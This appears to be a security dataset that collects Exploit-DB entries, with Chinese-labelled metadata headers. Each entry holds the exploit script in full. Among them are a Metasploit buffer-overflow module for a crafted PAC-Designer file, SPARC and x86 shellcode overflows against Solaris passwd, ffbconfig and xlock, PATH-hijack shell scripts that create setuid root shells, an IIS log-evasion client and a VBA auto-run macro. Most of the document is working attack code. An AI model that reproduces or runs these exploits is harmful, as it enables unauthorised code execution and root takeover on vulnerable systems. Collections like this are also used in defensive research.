QLWD/code_shield huggingface dataset:
标题: Lattice Semiconductor PAC-Designer 6.21 - Symbol Value Buffer Overflow (Metasploit) EDB-ID: 19175 CVE: 2012-2915 类型: LOCAL 平台: WINDOWS 发布日期: 2012-06-17 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Lattice Semiconductor PAC-Designer 6.21 Symbol Value Buffer Overflow",
   'Description'    => %q{
     This module exploits a vulnerability found in Lattice Semiconductor PAC-Designer
    6.21.  As a .pac file, when supplying a long string of data to the 'value' field
    under the 'SymbolicSchematicData' tag, it is possible to cause a memory corruption
    on the stack, which results in arbitrary code execution under the context of the
    user.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Unknown',      #Discovery
     'juan vazquez', #Metasploit
     'sinn3r'        #Metasploit
    ],
   'References'     =>
    [
     ['CVE', '2012-2915'],
     ['OSVDB', '82001'],
     ['EDB', '19006'],
     ['BID', '53566'],
     ['URL', 'http://secunia.com/advisories/48741']
    ],
   'Payload'        =>
    {
     'BadChars' => "\x00\x3c\x3e",
     'StackAdjustment' => -3500,
    },
   'DefaultOptions'  =>
    {
     'ExitFunction' => "seh"
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [
      'PAC-Designer 6.21 on Windows XP SP3',
      {
       # P/P/R in PACD621.exe
       # ASLR: False, Rebase: False, SafeSEH: False, OS: False
       'Ret' => 0x00805020
      }
     ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => "May 16 2012",
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [true, 'The filename', 'msf.pac'])
   ], self.class)
 end

 def exploit
  # The payload is placed in the <title> field
  p = payload.encoded

  # The trigger is placed in the <value> field, which will jmp to our
  # payload in the <title> field.
  buf  = "\x5f"    #POP EDI
  buf << "\x5f"    #POP EDI
  buf << "\x5c"    #POP ESP
  buf << "\x61"*6  #POPAD x 6
  buf << "\x51"    #PUSH ECX
  buf << "\xc3"    #RET
  buf << rand_text_alpha(96-buf.length, payload_badchars)
  buf << "\xeb\x9e#{rand_text_alpha(2, payload_badchars)}"  #Jmp back to the beginning of the buffer
  buf << [target.ret].pack('V')[0,3] # Partial overwrite

  xml = %Q|<?xml version="1.0"?>
<PacDesignData>
 <DocFmtVersion>1</DocFmtVersion>
 <DeviceType>ispPAC-CLK5410D</DeviceType>
 <CreatedBy>PAC-Designer 6.21.1336</CreatedBy>
 <SummaryInformation>
  <Title>#{p}</Title>
  <Author>#{Rex::Text.rand_text_alpha(6)}</Author>
 </SummaryInformation>

 <SymbolicSchematicData>
  <Symbol>
   <SymKey>153</SymKey>
   <NameText>Profile 0 Ref Frequency</NameText>
   <Value>#{buf}</Value>
  </Symbol>
 </SymbolicSchematicData>
</PacDesignData>|

  file_create(xml)
 end
end URL: https://www.exploit-db.com/exploits/19175
标题: Solaris 2.5.1 - 'Ping' System Panic (Denial of Service) EDB-ID: 19161 CVE: 1999-1423 类型: DOS 平台: SOLARIS 发布日期: 1997-06-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/209/info

The ping program is used to assess network connectivity between network devices. A denial of service condition exists in the ping program that may cause the system to panic by sending ping requests to a multicast address through the loopback interface. The system will ping itself; however, the incoming queue pointer is not yet initialized when the packet is received. Thus, the system will panic. 

%ping -sv -i 127.0.0.1 224.0.0.1 URL: https://www.exploit-db.com/exploits/19161
标题: Ipswitch IMail 5.0 / Ipswitch WS_FTP Server 1.0.1/1.0.2 - Local Privilege Escalation EDB-ID: 19167 CVE: 1999-1171 1999-1170 类型: LOCAL 平台: WINDOWS 发布日期: 1999-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/218/info

Non-administrative Imail and WS_FTP Server users may elevate their privileges to administrator for these applications by modifying a specific registry value. Once a person has obtained administrative privileges, they may use the application interface (locally) to read email, create accounts, delete accounts, etc. 

Access the following registry key "HKEY_LOCAL_MACHINE\SOFTWARE\Ipswitch\IMail\Domains\Machine_name\Users\Username"
Modify the Flag value to read "1920". 1920 gives the user account administrator permissions to IMail and WS_FTP Server. URL: https://www.exploit-db.com/exploits/19167
标题: Microsoft Internet Explorer 4 - Clipboard Paste EDB-ID: 19164 CVE: 1999-1453 类型: REMOTE 平台: WINDOWS 发布日期: 1999-01-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/215/info

The Windows clipboard contains data that has been cut or copied from various windows applications. This data can be accessed and posted to malicious web forms at web sites without the knowledge of the visiting end-user. Normally, Microsoft security prevents forms from accessing data other than what was copied from within the same application, however, a Microsoft Forms 2.0 TextBox ActiveX object can bypass these security rules.

The Forms 2.0 ActiveX object does not come with the Operating System. This control is loaded when Visual Basic 5.0, Project 98, Outlook 98, or Office 97 is installed on the host.

function GetClipBoard()
{
tb.paste(); // paste over the MS Forms 2.0 TextBox
document.forms(0).S1.value=tb.text; // moves the text to the text area box
} URL: https://www.exploit-db.com/exploits/19164
标题: Sun Solaris 2.5.1 PAM / unix_scheme - 'passwd' Local Privilege Escalation EDB-ID: 19158 CVE: 1999-1158 类型: LOCAL 平台: SOLARIS 发布日期: 1997-02-25 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/201/info

There is a buffer overflow condition on arguments in Pluggable Authentication Modules (PAM) and unix_scheme (5.4 and 5.3). Therefore, an unauthorized user could exploit this vulnerability via the passwd program to gain root access. Under SunOS 5.5.1, 5.5.1_x86, 5.5, 5.5_x86, yppasswd and nispasswd are hard links to the passwd program and therefore are also vulnerable. Under SunOS 5.4 and 5.3, passwd, yppasswd, and nispasswd are separate programs but they dynamically link unix_scheme and are affected. 
*/

/*
This is for Solaris 2.5.(1) !
With argv[1] you can modify the stack offset (+-500) if you have troubles
...
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      1100
#define EXTRA           1200
#define STACK_OFFSET    3800
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff"
;

u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode),dso=0;

  if(argc > 1) dso=atoi(argv[1]);

  long_p =(u_long *)  buf;
    targ_addr = get_sp() - STACK_OFFSET - dso;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;


  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ =targ_addr;

  printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
  targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
  execl("/bin/passwd", "passwd", buf,(char *) 0);
  perror("execl failed");
} URL: https://www.exploit-db.com/exploits/19158
标题: Microsoft Internet Explorer 5.0.1 - Invalid Byte Cross-Frame Access EDB-ID: 19156 CVE: 1999-0347 类型: REMOTE 平台: WINDOWS 发布日期: 1999-01-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/197/info

On January 28, 1999, Georgi Guninski originally reported a vulnerability in Internet Explorer 4.x. Internet Explorer 4.x's implentation of Cross-frame security could be bypassed if "%01" is appended to an arbitrary URL. If the specially malformed URL is inserted in a javascript after an 'about:' statement, arbitrary code can be executed on the target host. Successful exploitation could lead to access to local files, window spoofing, and arbitrary code execution.

On October 6, 2000, Alp Sinan discovered that a variation of this vulnerability exists in Microsoft Internet Explorer 5.5. Instead of using "%01", the ASCII equivalents of "^A" or "&#01" can be used instead. 

Georgi Guninski <guninski@guninski.com> has set up the following demonstration pages:

Exploit through HTML mail message:

http://www.guninski.com/scriptlet.html

http://www.guninski.com/scrspoof.html

Exploit through TDC:

http://www.guninski.com/scrauto.html

Alp Sinan <alp@uk2.net> has set up the following demonstration pages:

Reading of local files:
http://horoznet.com/AlpSinan/localread.htm

Window spoofing:
http://horoznet.com/AlpSinan/webspoof.htm

Cross-frame security circumvention
http://horoznet.com/AlpSinan/crossframe.htm URL: https://www.exploit-db.com/exploits/19156
标题: Microsoft IIS 5.0 - IISAPI Extension Enumerate Root Web Server Directory EDB-ID: 19152 CVE: 1999-0450 类型: REMOTE 平台: WINDOWS 发布日期: 1999-01-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/194/info

A GET request that specifies a nonexistent file with an IISAPI-registered extension (ie .pl, .idq) will cause the IIS server to return an error message that includes the full path of the root web server directory.

This can happen if the file is referenced as the target of the GET or passed in a variable to a script that looks for the file.

Example:

CGI Error The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are: Can't open perl script "C:\InetPub\scripts\ bogus.pl": No such file or directory URL: https://www.exploit-db.com/exploits/19152
标题: BSD/OS 2.1 / DG/UX 7.0 / Debian 1.3 / HP-UX 10.34 / IBM AIX 4.2 / SGI IRIX 6.4 / Solaris 2.5.1 - 'xlock' Local Overflow / Local Privilege Escalation (1) EDB-ID: 19172 CVE: 1999-0306 1999-0038 1999-0030 类型: LOCAL 平台: UNIX 发布日期: 1997-04-26 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/224/info

The xlock program is used to lock the local X display until the user supplies the correct password. A buffer overflow condition has been discovered in xlock that may allow an unauthorized user to gain root access. 
*/

/*   x86 XLOCK overflow exploit
     by cesaro@0wned.org 4/17/97

     Original exploit framework - lpr exploit

     Usage: make xlock-exploit
            xlock-exploit  <optional_offset>

     Assumptions: xlock is suid root, and installed in /usr/X11/bin
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET          50
#define BUFFER_SIZE             996

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

int main(int argc, char *argv[])
{
   char *buff = NULL;

   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;
   int dfltOFFSET = DEFAULT_OFFSET;

   u_char execshell[] =   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
                          "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
                          "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
                          "\xd7\xff\xff\xff/bin/sh";
  int i;

   if (argc > 1)
      dfltOFFSET = atoi(argv[1]);
   else printf("You can specify another offset as a parameter if you 
need...\n");

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i<2;i++)
      *(addr_ptr++) = get_esp() + dfltOFFSET;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/X11/bin/xlock", "xlock", "-nolock", "-name", buff, NULL);
} URL: https://www.exploit-db.com/exploits/19172
标题: Microsoft IIS 4 (Windows NT) - Log Avoidance EDB-ID: 19149 CVE: 1999-0448 类型: REMOTE 平台: WINDOWS 发布日期: 1999-01-22 漏洞利用脚本: // source: https://www.securityfocus.com/bid/191/info

An http get request against an IIS4 server will not be logged if the request is longer than 10150 bytes long. 

/* Compile with eg Visual C++ and link with wsock32.lib

#include <stdio.h>
#include <winsock2.h>
#include <string.h>


int main (int argc, char *argv[])
{
int snd, rcv, err, portno,a=0,b, res;
char resp[1024];
WORD wVersionRequested;
WSADATA wsaData;
struct sockaddr_in sa;
struct hostent *he;
SOCKET sock;

if (argc !=2)
{
printf("Usage:\nc:\\>%s target_machine\n\nDavid Litchfield\n21st January
1999\n", argv[0]);
return 0;
}
wVersionRequested = MAKEWORD( 2, 0 );
err = WSAStartup( wVersionRequested, &wsaData );

if ( err != 0 )
{
printf("No winsock.dll\n");
return 0;
}
if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 )
{
printf("No winsock.dll - 2nd\n");
WSACleanup( );
return 0;
}

if ((he = gethostbyname(argv[1])) == NULL)
{
printf("Invalid Host\n");
return 0;
}




sock=socket(AF_INET,SOCK_STREAM,0);
if (sock==INVALID_SOCKET)
{
printf("Invalid Socket!\n");
return 0;
}
else
{
printf("");
}

sa.sin_addr.s_addr=INADDR_ANY;
sa.sin_family=AF_INET;



bind(sock,(struct sockaddr *)&sa,sizeof(sa));



sa.sin_port=htons(80);

memcpy(&sa.sin_addr,he->h_addr,he->h_length);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) < 0)
{
printf("Failed to connect!\n");
}
else
{

/* This loop creates the REQUEST_METHOD and makes it 10140 bytes long

while (a < 10141)
{
snd=send(sock,"A", 1, 0);
a ++;
}
snd=send(sock," /default.asp HTTP/1.0\n\n",43,0);
rcv=recv(sock,resp,256,0);
printf("\n%s",resp);
rcv=recv(sock,resp,1024,0);
printf("\n%s\n\n",resp);

}


closesocket(sock);

return 0;
} URL: https://www.exploit-db.com/exploits/19149
标题: SGI IRIX 6.4 - 'ioconfig' Local Privilege Escalation EDB-ID: 19163 CVE: 1999-0314 类型: LOCAL 平台: IRIX 发布日期: 1998-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/213/info

A vulnerability exists in the ioconfig program, as shipping with IRIX 6.4 S2MP from Silicon Graphics, Inc. This program is only available on Irix 6.4 for the Origin/Onyx2. Other machines running IRIX are not vulnerable.

This vulnerability will allow a local user to obtain root priveledges. The ioconfig program will make calls to the system() call without setting the path to be used; this allows an attacker to alter their path to cause ioconfig to execute arbitrary programs. 

#!/bin/sh
#
# Irix 6.4 ioconfig xploit - Loneguard 04/12/97
#
# Simple xploit making use of stupid system calls to programs without using
# a path. This works on both /sbin/ioconfig and /sbin/disk_bandwidth.
#
cat > /tmp/dvhtool << 'EOF'
#!/bin/sh
/sbin/cp /bin/csh /tmp/xsh
/sbin/chmod 14755 /tmp/xsh
EOF
/sbin/chmod 700 /tmp/dvhtool
PATH=/tmp:$PATH
/sbin/ioconfig -f /hw URL: https://www.exploit-db.com/exploits/19163
标题: Solaris 2.5.1 - 'ffbconfig' Local Privilege Escalation EDB-ID: 19159 CVE: 1999-0109 类型: LOCAL 平台: SOLARIS 发布日期: 1997-02-10 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/202/info

The ffbconfig program is used to configure the Creator Fast Frame Buffer (FFB) Graphics Accelerator, which is a component of the FFB Configuration Software Package (SUNWffbcf). A buffer overflow condition has been discovered that may allow an unauthorized user to gain root access on the system.The ffbconfig program is used when the FFB Graphics accelerator card is installed. Thus, to test if a system is vulnerable, run the following command to see if the SUNWffbcf package is installed./usr/bin/pkginfo -l SUNWffbcfIf the package is not present, you will receive an error message stating that SUNWffbcf was not found. If it is present, ffbconfig is installed in /usr/sbin.The following versions of SunOS are affected:SunOS versions 5.5.1 and 5.5 SPARC running the Creator FFB Graphics Accelerator. 
*/

/*
This works on Solaris 2.4 wiz /usr/sbin/ffbconfig from a Solaris 2.5
*/



#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      128
#define EXTRA           256
#define STACK_OFFSET    128
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08"
;


u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode),so;

  long_p = (u_long *) buf;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;
  targ_addr = get_sp() - STACK_OFFSET;
  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ =targ_addr;

  printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);

  execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0);
  perror("execl failed");
} URL: https://www.exploit-db.com/exploits/19159
标题: Microsoft Zero Administration Kit (ZAK) 1.0 / Office97 - Backdoor Access EDB-ID: 19144 CVE: 1999-1431 类型: LOCAL 平台: WINDOWS 发布日期: 1999-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/181/info

Zero Administration Kit (ZAK) was designed to allow administrators to (among other things) lock down the NT environment and restrict the user's access to certain applications and system functions.

In an instance where the end-user is not allowed to execute Windows Explorer and other "forbidden applications" (ie Quake), the following workaround was noted:

Open Word or Excel.

Select File:Open. Right click on the background of the File:Open window. A prompt will appear that will allow the user to select "Browse". Browse will open Windows Explorer.

Assuming the user has write access to the temp directory, create a special directory in temp and copy in the executables of the forbidden applications to this directory. These applications can now be executed and will circumvent the policies established by ZAK. URL: https://www.exploit-db.com/exploits/19144
标题: Microsoft IIS 4 (Windows NT) - Remote Web-Based Administration EDB-ID: 19147 CVE: 1999-1538 类型: REMOTE 平台: WINDOWS 发布日期: 1999-01-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/189/info

Web-based administration for IIS 4.0 is, by default, limited to the local loopback address, 127.0.0.1. In instances where IIS4.0 was installed as an upgrade to IIS 2.0 or 3.0, a legacy ISAPI DLL (ISM.DLL) is left in the /scripts/iisadmin directory. An attacker may call this DLL via the following syntax:

http://www.server.com/scripts/iisadmin/ism.dll?http/dir

This URL prompts the user for a username/password to access the remote administration console. Although approved access does not permit the user to commit changes to the IIS server, it may allow them to gather sensitive information about the web server and its configuration. URL: https://www.exploit-db.com/exploits/19147
标题: ESRI ArcGIS 10.0.x / ArcMap 9 - Arbitrary Code Execution EDB-ID: 19138 CVE: 2012-1661 类型: LOCAL 平台: WINDOWS 发布日期: 2012-06-14 漏洞利用脚本: =====
TITLE
=====

ESRI ArcMap Arbitrary Code Execution Via Crafted Map File

============
Description:
============

Opening a specially crafted mxd file will execute arbitrary
code without prompting and without a crash of the application.
This is due to a flaw in the programs ability to prompt a user
before executing embedded VBA. Mxd files are not filtered by
email systems so this allows a remote attacker to trick a user
into opening a map file via email and unknowingly gain control
over their system.

===============================
Versions affected (maybe more):
===============================
ArcMap 9

ArcGIS Desktop 10
Release Version: 10.0
Product Version: 10.0.1.2800
ArcGIS Service Pack: 1 (build 10.0.1.2800)

ArcGIS Desktop 10
Release Version: 10.0
Product Version: 10.0.2.3200
ArcGIS Service Pack: 2 (build 10.0.2.3200)

=================
Proof of concept:
=================

If the following macro is implemented in the project
the Shell statements will be executed when the
document is opened without prompt.

Private Function MxDocument_OpenDocument() As Boolean
Shell "calc.exe", vbNormalFocus
Shell "cmd /c start
http://www.cs.umb.edu/~joecohen/exploits/CVE-2012-1661.htm",
vbNormalFocus
End Function

Video at site:

http://www.cs.umb.edu/~joecohen/exploits/CVE-2012-1661 URL: https://www.exploit-db.com/exploits/19138
标题: DataLynx suGuard 1.0 - Local Privilege Escalation EDB-ID: 19146 CVE: 1999-0388 类型: LOCAL 平台: LINUX 发布日期: 1999-01-03 漏洞利用脚本: #source: https://www.securityfocus.com/bid/186/info
#
#A vulnerability exists within the DataLynx's suGuard program which allows a local attacker to gain administrative privilege by exploiting poor use of the /tmp directory and poor programming. 

#!/bin/sh
# sgrun exploit - the types of vulnerabilities that this exploit exercises
#  have no right being introduced to code in this day and age. Much less
#  code which presents itself under the pretenses of securing your system.
#   .mudge 01.02.99
#
SUSHI=./sushi

if [ $# -ne 2 ] ; then
  echo Must specify path to sgrun [/bin/datalynx/sgrun] and sgrun argument
  echo  mudge@l0pht.com [01.02.99]
  exit 1
fi
  
SGRUN=$1
ARG=$2

if [ -f ${SUSHI} ] ; then
  echo root shell already created?
  exit
fi

echo datalynx sgrun proof of concept exploit from L0pht [mudge@l0pht.com]
echo

cat > ./ps << FOEFOE
#!/bin/sh
cp /bin/ksh ${SUSHI}
chown root ${SUSHI}
chmod 4555 ${SUSHI}
FOEFOE

chmod 755 ./ps

PATH=.:${PATH}
export PATH

#/bin/datalynx/sgrun Identify 
${SGRUN} ${ARG}
if [ -f ${SUSHI} ] ; then
  echo root shell created as ${SUSHI}
  ls -l ${SUSHI}
  echo
fi URL: https://www.exploit-db.com/exploits/19146